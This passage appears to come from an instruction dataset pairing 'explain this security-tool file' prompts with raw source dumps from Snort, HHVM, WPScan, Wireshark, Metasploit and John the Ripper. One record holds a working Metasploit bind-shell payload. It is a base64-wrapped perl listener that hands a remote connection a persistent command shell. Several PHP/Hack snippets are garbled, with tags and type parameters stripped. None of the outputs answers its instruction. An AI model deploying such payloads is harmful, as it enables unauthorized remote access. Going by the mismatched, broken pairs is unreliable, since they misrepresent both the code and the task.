\"utils/event_gen.h\"\n\n#include \"file_api.h\"\n#include \"file_module.h\"\n\n#include \n\nusing FileEventGen = EventGen;\n\nnamespace snort\n{\nclass FileContext;\nclass Flow;\n\nclass FileInspect : public Inspector\n{\npublic:\n FileInspect(FileIdModule*);\n ~FileInspect() override;\n void eval(Packet*) override { }\n bool configure(SnortConfig*) override;\n void show(const SnortConfig*) const override;\n FileConfig* config;\n};\n\nclass SO_PUBLIC FileFlows : public FlowData\n{\npublic:\n\n FileFlows(Flow* f, FileInspect* inspect) : FlowData(file_flow_data_id, inspect), flow(f) { }\n ~FileFlows() override;\n std::mutex file_flow_context_mutex;\n static void init()\n { file_flow_data_id = FlowData::create_flow_data_id(); }\n\n void handle_retransmit(Packet*) override;\n\n // Factory method to get file flows\n static FileFlows* get_file_flows(Flow*, bool to_create=true);\n static FilePolicyBase* get_file_policy(Flow*);\n\n FileContext* get_current_file_context();\n\n void set_current_file_context(FileContext*);\n\n // Get file context based on file id, create it if does not exist\n FileContext* get_file_context(uint64_t file_id, bool to_create,\n bool& is_new_context, uint64_t multi_file_processing_id=0);\n // Get a partially processed file context from the flow object\n FileContext* get_partially_processed_context(uint64_t file_id);\n // Remove a file from the flow object when processing is complete\n void remove_processed_file_context(uint64_t file_id);\n\n void remove_processed_file_context(uint64_t file_id, uint64_t multi_file_processing_id);\n\n uint64_t get_new_file_instance();\n\n bool set_file_name(const uint8_t* fname, uint32_t name_size, uint64_t file_id=0,\n uint64_t multi_file_processing_id=0, const uint8_t* url=nullptr, uint32_t url_size=0);\n\n void set_sig_gen_state( bool enable )\n {\n gen_signature = enable;\n }\n\n void add_pending_file(uint64_t file_id);\n\n // This is used when there is only one file per session\n bool file_process(Packet* p, const uint8_t* file_data, int data_size, FilePosition,\n bool upload, size_t file_index = 0);\n\n // This is used for each file context. Support multiple files per session\n bool file_process(Packet* p, uint64_t file_id, const uint8_t* file_data,\n int data_size, uint64_t offset, FileDirection, uint64_t multi_file_processing_id=0,\n FilePosition=SNORT_FILE_POSITION_UNKNOWN);\n\n static unsigned file_flow_data_id;\n\n void set_file_policy(FilePolicyBase* fp)\n {\n assert(fp);\n FilePolicyBase::delete_file_policy(file_policy);\n fp->add_ref();\n file_policy = fp;\n }\n FilePolicyBase* get_file_policy() { return file_policy; }\n\nprivate:\n void init_file_context(FileDirection, FileContext*);\n FileContext* find_main_file_context(FilePosition, FileDirection, size_t id = 0);\n FileContext* main_context = nullptr;\n FileContext* current_context = nullptr;\n uint64_t current_file_id = 0;\n uint64_t pending_file_id = 0;\n bool gen_signature = false;\n Flow* flow = nullptr;\n FilePolicyBase* file_policy = nullptr;\n\n std::unordered_map partially_processed_contexts;\n bool current_context_delete_pending = false;\n FileEventGen events;\n};\n}\n#endif", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:50552"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/string_length_overflow/output_buffer.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\nob_start();\n\nfor ($i = 0; $i < 10; $i++) {\n echo str_repeat('x', 0x7ffffffe >> 2);\n}\n\nob_end_clean();\necho \"Expected a fatal\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:24787"}} -{"instruction": "Explain the purpose and role of 'wpscan/app/finders/wp_items/urls_in_page.rb' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# frozen_string_literal: true\n\nmodule WPScan\n module Finders\n module WpItems\n # URLs In Homepage Module to use in plugins & themes finders\n module UrlsInPage\n # @param [ String ] type plugins / themes\n # @param [ Boolean ] uniq Wether or not to apply the #uniq on the results\n #\n # @return [ Array ] The plugins/themes detected in the href, src attributes of the page\n def items_from_links(type, uniq: true)\n found = []\n xpath = format(\n '(//@href|//@src|//@data-src)[contains(., \"%s\")]',\n type == 'plugins' ? target.plugins_dir : target.content_dir\n )\n\n target.in_scope_uris(page_res, xpath) do |uri|\n next unless uri.to_s =~ item_attribute_pattern(type)\n\n slug = Regexp.last_match[1]&.strip\n\n found << slug unless slug&.empty?\n end\n\n uniq ? found.uniq.sort : found.sort\n end\n\n # @param [ String ] type plugins / themes\n # @param [ Boolean ] uniq Wether or not to apply the #uniq on the results\n #\n # @return [Array ] The plugins/themes detected in the javascript/style of the homepage\n def items_from_codes(type, uniq: true)\n found = []\n\n page_res.html.xpath('//script[not(@src)]|//style[not(@src)]').each do |tag|\n code = tag.text.to_s\n next if code.empty?\n\n code.scan(item_code_pattern(type)).flatten.uniq.each { |slug| found << slug }\n end\n\n uniq ? found.uniq.sort : found.sort\n end\n\n # @param [ String ] type\n #\n # @return [ Regexp ]\n def item_attribute_pattern(type)\n @item_attribute_pattern ||= %r{#{item_url_pattern(type)}([^/]+)/}i\n end\n\n # @param [ String ] type\n #\n # @return [ Regexp ]\n def item_code_pattern(type)\n @item_code_pattern ||= %r{[\"'( ]#{item_url_pattern(type)}([^\\\\/)\"']+)}i\n end\n\n # @param [ String ] type\n #\n # @return [ Regexp ]\n def item_url_pattern(type)\n item_dir = type == 'plugins' ? target.plugins_dir : target.content_dir\n item_url = type == 'plugins' ? target.plugins_url : target.content_url\n\n url = /#{item_url.gsub(/\\A(?:https?)/i, 'https?').gsub('/', '\\\\\\\\\\?\\/')}/i\n item_dir = %r{(?:#{url}|\\\\?/#{item_dir.gsub('/', '\\\\\\\\\\?\\/')}\\\\?/)}i\n\n type == 'plugins' ? item_dir : %r{#{item_dir}#{type}\\\\?/}i\n end\n end\n end\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:59231"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/assign_vec_property_good.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " $vs = vec[];\n}\n\nfunction test(C $c): void {\n $c->vs[0] = 'foo';\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:9522"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/new_inference/eager_solve/shapes_toarray.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " int,\n 'y' => float,\n);\n\n\nfunction reKey(\nKeyedTraversable $collection,\n(function(Ta, Tv): Tk) $kgrip,\n): Map {\n return Map{};\n}\nfunction mapWithKey(\nKeyedTraversable $collection,\n(function(Tk, Ta): Tb) $mapping_function,\n): darray\n{\n return darray[];\n}\nfunction testit(\n varray $conversion_specs_shapes,\n ): darray> {\n return mapWithKey(\n $conversion_specs_shapes,\n ($_, $spec) ==> reKey(\n Shapes::toArray($spec),\n ($key, $_) ==> (string)$key,\n )->toDArray(),\n );\n }", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:13404"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/typedef8.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\n$obj = new ReflectionExtension('reflection');\n$var = $obj->getVersion() ? $obj->getVersion() : null;\n$test = HH\\Lib\\Legacy_FIXME\\eq(floatval($var), $var) ? true : false;\nvar_dump($test);\necho \"==DONE==\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:27793"}} -{"instruction": "Explain the purpose and role of 'wireshark/packaging/portableapps/help.html' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "\n\n\nWireshark Portable · Help\n\n\nPlease see the online documentation.\n", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:57247"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/array/array_unique_variation2.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\necho \"*** Testing array_unique() : Passing different arrays to \\$input argument ***\\n\";\n\n/* Different heredoc strings passed as argument to arrays */\n// heredoc with blank line\n$blank_line = <<22\n'single quoted string'\n\"double quoted string\"\n2222 != 1111.\\t 0000 = 0000\\n\nEOT;\n\n// arrays passed to $input argument\n$inputs = varray [\n/*1*/ varray[1, 2, 2, 1], // with default keys and numeric values\n varray[1.1, 2.2, 1.1], // with default keys & float values\n varray[false, true, false], // with default keys and boolean values\n varray[], // empty array\n/*5*/ varray[NULL, null], // with NULL\n varray[\"a\\v\\f\", \"aaaa\\r\", \"b\", \"aaaa\\r\", \"\\[\\]\\!\\@\\#\\$\\%\\^\\&\\*\\(\\)\\{\\}\"], // with double quoted strings\n varray['a\\v\\f', 'aaaa\\r', 'b', 'aaaa\\r', '\\[\\]\\!\\@\\#\\$\\%\\^\\&\\*\\(\\)\\{\\}'], // with single quoted strings\n darray[\"h1\" => $blank_line, \"h2\" => $multiline_string, \"h3\" => $diff_whitespaces, 0 => $blank_line], // with heredocs\n\n // associative arrays\n/*9*/ darray[1 => \"one\", 2 => \"two\", 2 => \"two\"], // explicit numeric keys, string values\n darray[\"one\" => 1, \"two\" => 2, \"1\" => 1 ], // string keys & numeric values\n darray[ 1 => 10, 2 => 20, 4 => 40, 5 => 10], // explicit numeric keys and numeric values\n darray[ \"one\" => \"ten\", \"two\" => \"twenty\", \"10\" => \"ten\"], // string key/value\n darray[\"one\" => 1, 2 => \"two\", 4 => \"four\"], //mixed\n\n // associative array, containing null/empty/boolean values as key/value\n/*14*/ darray['' => \"NULL\", '' => \"null\", \"NULL\" => NULL, \"null\" => null],\n darray[1 => \"true\", 0 => \"false\", \"false\" => false, \"true\" => true],\n darray[\"\" => \"emptyd\", '' => 'emptys', \"emptyd\" => \"\", 'emptys' => ''],\n darray[1 => '', 2 => \"\", 3 => NULL, 4 => null, 5 => false, 6 => true],\n/*18*/ darray['' => 1, \"\" => 2, '' => 3, '' => 4, 0 => 5, 1 => 6],\n];\n\n// loop through each sub-array of $inputs to check the behavior of array_unique()\n$iterator = 1;\nforeach($inputs as $input) {\n echo \"-- Iteration $iterator --\\n\";\n var_dump( array_unique($input, SORT_STRING) );\n $iterator++;\n}\n\necho \"Done\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:28677"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/array/asort_object2.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "public_class_value = $value1;\n $this->private_class_value = $value2;\n $this->protected_class_value = $value3;\n }\n\n}\n\n// class declaration for string objects\nclass for_string_asort\n{\n public $public_class_value;\n private $private_class_value;\n protected $protected_class_value;\n // initializing object member value\n function __construct($value1, $value2,$value3){\n $this->public_class_value = $value1;\n $this->private_class_value = $value2;\n $this->protected_class_value = $value3;\n }\n\n // return string value\n function __toString() :mixed{\n return (string)$this->value;\n }\n}\n<<__EntryPoint>> function main(): void {\necho \"*** Testing asort() : object functionality ***\\n\";\n\n// array of integer objects\n$unsorted_int_obj = darray [\n 1 => new for_integer_asort(11, 33,2), 2 => new for_integer_asort(44, 66,3),\n 3 => new for_integer_asort(23, 32,6), 4 => new for_integer_asort(-88, -5,-4),\n];\n\n// array of string objects\n$unsorted_str_obj = darray [\n \"a\" => new for_string_asort(\"axx\",\"AXX\",\"d\"), \"b\" => new for_string_asort(\"T\", \"t\",\"q\"),\n \"c\" => new for_string_asort(\"w\", \"W\",\"c\"), \"d\" => new for_string_asort(\"PY\", \"py\",\"s\"),\n];\n\n\necho \"\\n-- Testing asort() by supplying various object arrays, 'flag' value is default --\\n\";\n\n// testing asort() function by supplying integer object array, flag value is default\n$temp_array = $unsorted_int_obj;\nvar_dump(asort(inout $temp_array) );\nvar_dump($temp_array);\n\n// testing asort() function by supplying string object array, flag value is default\n$temp_array = $unsorted_str_obj;\nvar_dump(asort(inout $temp_array) );\nvar_dump($temp_array);\n\necho \"\\n-- Testing asort() by supplying various object arrays, 'flag' value is SORT_REGULAR --\\n\";\n// testing asort() function by supplying integer object array, flag value = SORT_REGULAR\n$temp_array = $unsorted_int_obj;\nvar_dump(asort(inout $temp_array, SORT_REGULAR) );\nvar_dump($temp_array);\n\n// testing asort() function by supplying string object array, flag value = SORT_REGULAR\n$temp_array = $unsorted_str_obj;\nvar_dump(asort(inout $temp_array, SORT_REGULAR) );\nvar_dump($temp_array);\n\necho \"Done\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:28712"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/dynamic-calls/fb-call-user-builtins.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction foo() :mixed{\n echo \"foo\\n\";\n}\n\n<<__EntryPoint>>\nfunction main() :mixed{\n if (HH\\execution_context() === \"xbox\") {\n return;\n }\n echo \"main\\n\";\n\n fb_call_user_func_async(\n __FILE__,\n 'foo'\n );\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:20276"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/widget-bootstrap-carousel-using-netxgen-gallery/translation_file/languages/gocarousel-es_ES.po' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: GoCarousel Bootstrap using Nextgen 1.0\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2013-11-28 12:03-0500\\n\"\n\"PO-Revision-Date: \\n\"\n\"Last-Translator: Alexander \\n\"\n\"Language-Team: GoPymes SAC \\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Poedit-Language: Spanish\\n\"\n\"X-Poedit-Country: Perú\\n\"\n\"X-Poedit-SourceCharset: utf-8\\n\"\n\"X-Poedit-KeywordsList: __;_n;_e;_x\\n\"\n\"X-Poedit-Basepath: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins WP/gocarousel-bootstrap\\n\"\n\"X-Poedit-SearchPath-0: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins WP/gocarousel-bootstrap\\n\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:7\nmsgid \"All photos in a gallery are displayed in the Bootstrap Carousel 2.x or 3.x . We recommend that the pictures are of good quality.\"\nmsgstr \"Todas las fotos en una galería son mostrados en el carrusel de Bootstrap 2.x o 3.x. Recomendamos que las fotos sean de buena calidad\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:8\nmsgid \"Widget Bootstrap Carousel using Gallery Netxgen\"\nmsgstr \"Widget carrusel Bootstrap usando Galería Nextgen\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:58\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:129\n#, php-format\nmsgid \"I am sorry, you do not have activated the plugin NextGen Gallery or maybe the table %s not does exists\"\nmsgstr \"Lo lamentamos, no tienes activado el plugin Nextgen Gallery o tal vez la tabla %s no existe\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:97\n#, fuzzy\nmsgid \"Include Bootstrap libraries in the head\"\nmsgstr \"Incluir librerías Bootstrap en la cabecera\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:100\nmsgid \"The structure of carousel must match with bootstrap version: \"\nmsgstr \"La estructura del carrusel debe concordar con la versión de Bootstrap:\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:105\nmsgid \"Carousel ID\"\nmsgstr \"ID del carrusel\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:109\nmsgid \"Speed of Carousel (Recommended: 3 sec)\"\nmsgstr \"Velocidad del carrusel (Recomendado: 3 seg)\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:111\nmsgid \"1 Sec\"\nmsgstr \"1 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:112\nmsgid \"2 Sec\"\nmsgstr \"2 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:113\nmsgid \"3 Sec\"\nmsgstr \"3 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:114\nmsgid \"4 Sec\"\nmsgstr \"4 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:115\nmsgid \"5 Sec\"\nmsgstr \"5 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:116\nmsgid \"8 Sec\"\nmsgstr \"8 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:117\nmsgid \"10 Sec\"\nmsgstr \"10 Seg\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:121\nmsgid \"Choose the Nextgen Gallery (all photos in this gallery are displayed in the Bootstrap Carousel)\"\nmsgstr \"Elige la Galería Nextgen (todas las fotos en esta galería serán mostrados en el carrusel Bootstrap)\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/gocarouselboot.inc.php:125\nmsgid \"Text/subtitle for each image (one per linea)\"\nmsgstr \"Texto/subtítulo por cada imágen (uno por línea)\"\n\n#: /home/gonzalesc/Dropbox/Go! Pymes SAC/Proyectos GoPymes/Plugins\n#: WP/gocarousel-bootstrap/index.php:35\nmsgid \"Goto Widgets\"\nmsgstr \"Ir a Widgets\"", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:61357"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/modules/payloads/singles/php/bind_perl.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n\nmodule MetasploitModule\n\n CachedSize = 230\n\n include Msf::Payload::Single\n include Msf::Sessions::CommandShellOptions\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'PHP Command Shell, Bind TCP (via Perl)',\n 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',\n 'Author' => ['Samy ', 'cazz'],\n 'License' => BSD_LICENSE,\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'Handler' => Msf::Handler::BindTcp,\n 'Session' => Msf::Sessions::CommandShell,\n 'PayloadType' => 'cmd',\n 'Payload' =>\n {\n 'Offsets' => { },\n 'Payload' => ''\n }\n ))\n end\n\n #\n # Constructs the payload\n #\n def generate(_opts = {})\n return super + \"system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));\"\n end\n\n #\n # Returns the command string to use for execution\n #\n def command_string\n\n cmd = \"perl -MIO -e '$p=fork();exit,if$p;\" +\n \"$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;\" +\n \"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'\"\n\n return cmd\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:45426"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/typing/typing_xhp.mli' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "(*\n * Copyright (c) 2017, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n *)\n\nopen Aast\nopen Typing_env_types\n\n(**\n * This is used in computing all possible attributes for XHP spreads.\n *\n * Given a type `cty` that should represent an XHP instance, gather all the\n * XHP attributes and their localized types to verify compatibility with the\n * XHP onto which we are spreading.\n *)\nval get_spread_attributes :\n env ->\n Pos.t ->\n Decl_provider.class_decl ->\n Typing_defs.locl_ty ->\n (env * Typing_error.t option)\n * (Aast.pstring * (Pos.t * Typing_defs.locl_ty)) list\n\n(**\n * Verify that an XHP body expression is legal.\n *)\nval is_xhp_child :\n env -> Pos.t -> Typing_defs.locl_ty -> bool * Typing_error.t option\n\n(* Rewrites an Xml node into a New node. The resulting New expression has\n * four arguments. This mimics the rewrite undergone before the emitter is\n * run.\n *\n * For example,\n * `

Hi

;`\n * becomes\n * `new :p(darray['colour' => 'blue'], varray['Hi'],\"\",1);`\n *\n * The first two arguments are for the attributes and children. The last two\n * arguments are for the filename and line number. These are irrelevant from a\n * typing perspective, so they are set to arbitrary defaults.\n *)\nval rewrite_xml_into_new :\n Pos.t -> sid -> Nast.xhp_attribute list -> Nast.expr list -> Nast.expr\n\n(* Rewrites an Xml attribute access into a call to getAttribute. The\n * resulting Call expression has one argument fake string argument to match the\n * expected parameter of getAttribute.\n *\n * For example,\n * `$xml->:attr;`\n * becomes\n * `$xml->getAttribute('');`\n *\n * The null flavor argument is indicates an expression of the form\n * `$xml?->:attr`\n *)\nval rewrite_attribute_access_into_call :\n Pos.t -> Nast.expr -> og_null_flavor -> Nast.expr", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:5358"}} -{"instruction": "Explain the purpose and role of 'john-bleeding-jumbo/src/BSDI_fmt.c' from the john-bleeding-jumbo security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n * This file is part of John the Ripper password cracker,\n * Copyright (c) 1996-2001,2010-2012,2015,2017 by Solar Designer\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted.\n *\n * There's ABSOLUTELY NO WARRANTY, express or implied.\n */\n\n#include \n#include \n\n#include \"arch.h\"\n#include \"misc.h\"\n#include \"DES_std.h\"\n#include \"common.h\"\n#include \"formats.h\"\n#if DES_BS\n#include \"DES_bs.h\"\n#endif\n\n\n#define FORMAT_LABEL\t\t\t\"bsdicrypt\"\n#define FORMAT_NAME\t\t\t\"BSDI crypt(3)\"\n\n#define BENCHMARK_COMMENT\t\t\" (\\\"_J9..\\\", 725 iterations)\"\n#define BENCHMARK_LENGTH\t\t7\n\n#define PLAINTEXT_LENGTH\t\t64\n#define CIPHERTEXT_LENGTH\t\t20\n\nstatic struct fmt_tests tests[] = {\n\t{\"_J9..CCCCXBrJUJV154M\", \"U*U*U*U*\"},\n\t{\"_J9..CCCCXUhOBTXzaiE\", \"U*U***U\"},\n\t{\"_J9..CCCC4gQ.mB/PffM\", \"U*U***U*\"},\n\t{\"_J9..XXXXvlzQGqpPPdk\", \"*U*U*U*U\"},\n\t{\"_J9..XXXXsqM/YSSP..Y\", \"*U*U*U*U*\"},\n\t{\"_J9..XXXXVL7qJCnku0I\", \"*U*U*U*U*U*U*U*U\"},\n\t{\"_J9..XXXXAj8cFbP5scI\", \"*U*U*U*U*U*U*U*U*\"},\n\t{\"_J9..XXXXAj8cFbP5scI\",\n\t \"\\xaa\\xd5\\xaa\\xd5\\xaa\\xd5\\xaa\\xd5\"\n\t \"\\xaa\\xd5\\xaa\\xd5\\xaa\\xd5\\xaa\\xd5\\xaa\"},\n\t{\"_J9..SDizh.vll5VED9g\", \"ab1234567\"},\n\t{\"_J9..SDizRjWQ/zePPHc\", \"cr1234567\"},\n\t{\"_J9..SDizxmRI1GjnQuE\", \"zxyDPWgydbQjgq\"},\n\t{\"_K9..SaltNrQgIYUAeoY\", \"726 even\"},\n\t{\"_J9..SDSD5YGyRCr4W4c\", \"\"},\n\t{NULL}\n};\n\n#if DES_BS\n\n#define ALGORITHM_NAME\t\t\tDES_BS_ALGORITHM_NAME\n\n#define BINARY_SIZE\t\t\tsizeof(uint32_t)\n#define BINARY_ALIGN\t\t\tsizeof(uint32_t)\n#define SALT_SIZE\t\t\t(ARCH_SIZE * 2)\n#define SALT_ALIGN\t\t\tARCH_SIZE\n\n#define MIN_KEYS_PER_CRYPT\t\tDES_BS_DEPTH\n#define MAX_KEYS_PER_CRYPT\t\tDES_BS_DEPTH\n\n#else\n\n#define ALGORITHM_NAME\t\t\tDES_STD_ALGORITHM_NAME\n\n#define BINARY_SIZE\t\t\tARCH_SIZE\n#define BINARY_ALIGN\t\t\tARCH_SIZE\n#define SALT_SIZE\t\t\t(ARCH_SIZE * 2)\n#define SALT_ALIGN\t\t\tARCH_SIZE\n\n#define MIN_KEYS_PER_CRYPT\t\t4\n#define MAX_KEYS_PER_CRYPT\t\t8\n\nstatic ARCH_WORD saved_salt, current_salt;\n\n#endif\n\nstatic int saved_count;\n\nstatic struct {\n#if !DES_BS\n\tDES_KS KS;\n\tDES_binary binary;\n#endif\n\tchar key[PLAINTEXT_LENGTH];\n} *buffer;\n\nstruct fmt_main fmt_BSDI;\n\nstatic void init(struct fmt_main *self)\n{\n\tDES_std_init();\n\n#if DES_BS\n\tDES_bs_init(0, (DES_bs_cpt + 28) / 29);\n#if DES_bs_mt\n\tfmt_BSDI.params.min_keys_per_crypt = DES_bs_min_kpc;\n\tfmt_BSDI.params.max_keys_per_crypt = DES_bs_max_kpc;\n#endif\n\n\tDES_std_set_salt(0);\n\tDES_count = 1;\n#else\n\tcurrent_salt = -1;\n#endif\n\n\tbuffer = mem_alloc_tiny(\n\t sizeof(*buffer) * fmt_BSDI.params.max_keys_per_crypt,\n\t MEM_ALIGN_CACHE);\n}\n\nstatic int valid(char *ciphertext, struct fmt_main *self)\n{\n\tchar *pos;\n\n\tif (ciphertext[0] != '_') return 0;\n\n\tfor (pos = &ciphertext[1]; atoi64[ARCH_INDEX(*pos)] != 0x7F; pos++);\n\tif (*pos || pos - ciphertext != CIPHERTEXT_LENGTH) return 0;\n\n\tif (atoi64[ARCH_INDEX(*(pos - 1))] & 3) return 0;\n\n\treturn 1;\n}\n\nstatic void *salt(char *ciphertext)\n{\n\tstatic ARCH_WORD out[2];\n\n#if DES_BS\n\tout[0] = DES_raw_get_salt(ciphertext);\n#else\n\tout[0] = DES_std_get_salt(ciphertext);\n#endif\n\tout[1] = DES_raw_get_count(ciphertext);\n\n\treturn out;\n}\n\n#if DES_BS\n\nstatic int binary_hash_0(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_0;\n}\n\nstatic int binary_hash_1(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_1;\n}\n\nstatic int binary_hash_2(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_2;\n}\n\nstatic int binary_hash_3(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_3;\n}\n\nstatic int binary_hash_4(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_4;\n}\n\nstatic int binary_hash_5(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_5;\n}\n\nstatic int binary_hash_6(void *binary)\n{\n\treturn *(uint32_t *)binary & PH_MASK_6;\n}\n\n#define get_hash_0 DES_bs_get_hash_0\n#define get_hash_1 DES_bs_get_hash_1\n#define get_hash_2 DES_bs_get_hash_2\n#define get_hash_3 DES_bs_get_hash_3\n#define get_hash_4 DES_bs_get_hash_4\n#define get_hash_5 DES_bs_get_hash_5\n#define get_hash_6 DES_bs_get_hash_6\n\nstatic int salt_hash(void *salt)\n{\n\treturn *(ARCH_WORD *)salt & (SALT_HASH_SIZE - 1);\n}\n\nstatic void set_salt(void *salt)\n{\n\tDES_bs_set_salt(*(ARCH_WORD *)salt);\n\tsaved_count = ((ARCH_WORD *)salt)[1];\n}\n\n#else\n\nstatic int binary_hash_0(void *binary)\n{\n\treturn DES_STD_HASH_0(*(ARCH_WORD *)binary);\n}\n\nstatic int binary_hash_1(void *binary)\n{\n\treturn DES_STD_HASH_1(*(ARCH_WORD *)binary);\n}\n\n#define binary_hash_2 NULL\n#define binary_hash_3 NULL\n#define binary_hash_4 NULL\n#define binary_hash_5 NULL\n#define binary_hash_6 NULL\n\nstatic int get_hash_0(int index)\n{\n\tARCH_WORD binary;\n\n\tbinary = buffer[index].binary[0];\n\treturn DES_STD_HASH_0(binary);\n}\n\nstatic int get_hash_1(int index)\n{\n\tARCH_WORD 